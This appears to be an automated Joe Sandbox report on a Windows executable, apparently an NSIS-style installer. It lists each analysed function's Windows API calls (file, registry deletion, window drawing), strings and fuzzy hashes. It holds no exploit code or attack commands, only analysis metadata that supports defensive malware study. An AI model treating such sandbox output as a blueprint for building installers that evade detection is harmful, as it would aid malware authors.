Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040619D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406338,?,?), ref: 004061D8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 004061E1

Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061FE
wsprintfA.USER32 ref: 0040621C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406257
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406266
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040629E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062F4
GlobalFree.KERNEL32(00000000), ref: 00406305
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040630C

Part of subcall function 00406047: GetFileAttributesW.KERNEL32(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Strings

[Rename], xrefs: 00406286, 00406298
%ls=%ls, xrefs: 00406212

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 2f157a22eecee44515c187ff3daf75b9e7e255f904fde787f0dd9ddf92a1116e
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: C9312271200315BBD2206B619D49F2B3A5CEF85718F16043EFD42FA2C2DB7D99258ABD

Uniqueness

Uniqueness Score: -1.00%

Function 00406594 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004326A0,00000400), ref: 004066B6
GetWindowsDirectoryW.KERNEL32(004326A0,00000400,00000000,0042BA48,?,?,00000000,00000000,00428E20,759223A0), ref: 004066CC
SHGetPathFromIDListW.SHELL32(00000000,004326A0), ref: 0040672A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406733
lstrcatW.KERNEL32(004326A0,\Microsoft\Internet Explorer\Quick Launch), ref: 0040675E
lstrlenW.KERNEL32(004326A0,00000000,0042BA48,?,?,00000000,00000000,00428E20,759223A0), ref: 004067B8

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406758
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406687

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc62ecdfc612bfadb4c03fc2fb2820e4449372332e166df7cb208319b666a0da
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: 7D612571A046009BD720AF24DD84B6A76E8EF95328F16053FF643B32D0DB7C9961875E

Uniqueness

Uniqueness Score: -1.00%

Function 0040453D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040455A
GetSysColor.USER32(00000000), ref: 00404598
SetTextColor.GDI32(?,00000000), ref: 004045A4
SetBkMode.GDI32(?,?), ref: 004045B0
GetSysColor.USER32(?), ref: 004045C3
SetBkColor.GDI32(?,?), ref: 004045D3
DeleteObject.GDI32(?), ref: 004045ED
CreateBrushIndirect.GDI32(?), ref: 004045F7

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 069c4eaec478219780f05c004fc5973679282d3c2eb16bc8cec9dcb23997e36d
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 592151B1500704ABCB20DF68DE08A5B7BF8AF41714B05892EEA96A22E0D739E944CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406128: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040613E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction ID: e892b7cb172a86a35cdf2d5061c859a119b49b65f2ae0b0c69c9b35c58dd84de
Opcode Fuzzy Hash: 6186ba75392568282b6731289b87e01334a0414050beb0dbbc28c320faadcf08
Instruction Fuzzy Hash: F151FB75D0411AABDF24DFD4CA85AAEBBB9FF04344F10817BE901B62D0D7B49D828B58

Uniqueness

Uniqueness Score: -1.00%

Function 004055DC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
lstrlenW.KERNEL32(0040341D,0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 906fe2e33ec339045028823105f1a28636d6cdc7c4a53a0106b9bb612f22f5f3
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9121A171900158BACB119F65DD449CFBFB4EF45350F50843AF508B62A0C3794A50CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406805 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406806
*?|<>/":, xrefs: 00406857

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1201062745
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: fa9c0ef9ae643832d728fa0671e6943ea0b093c18f887e6db6f7fe1f852dcfd9
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F111932780221299DB303B148C40E7766E8AF54794F52C43FED8A722C0F77C4C9286AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E91 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404EAC
GetMessagePos.USER32 ref: 00404EB4
ScreenToClient.USER32(?,?), ref: 00404ECE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EE0
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F06

Strings

f, xrefs: 00404EE2

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: eb967d7d92909976ed67768bbc6bf91133f1097352fa1b537f2083fc5134d3bd
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: AB019E71900219BADB00DB94DD81FFEBBBCAF95710F10412BFB11B61C0C7B4AA018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(0000C6D7,00000064,?), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: b4a4546c530c1255e03538258eeb387f0310dfe45b0532776fb26864182fd6cc
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 8D014F71640208BBEF209F60DE49FEE3B79AB04344F108039FA02B91D0DBB99A559B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: 9240dae09012554c896714223f9a1d047de53ad28ef79bac3653223f28d0231c
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: 3931AD71D00124BBCF21AFA5CE89D9E7E79AF49324F10423AF521762E1CB794D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 7c59605d0ca35e0e1f1170af87acd2d95b5481229a772e02f8b12e0d157fbf49
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 2A216B7150010ABFDF119F90CE89EEF7B7DEB54398F100076B949B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction ID: ff9804e90d7d2423da96771145ec8c84d1acc30631874d8c14b803c0354ed8c3
Opcode Fuzzy Hash: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction Fuzzy Hash: 73210772900119AFCB05DF98EE45AEEBBB5EF08314F14003AF945F62A0D7789D81DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED8

Memory Dump Source

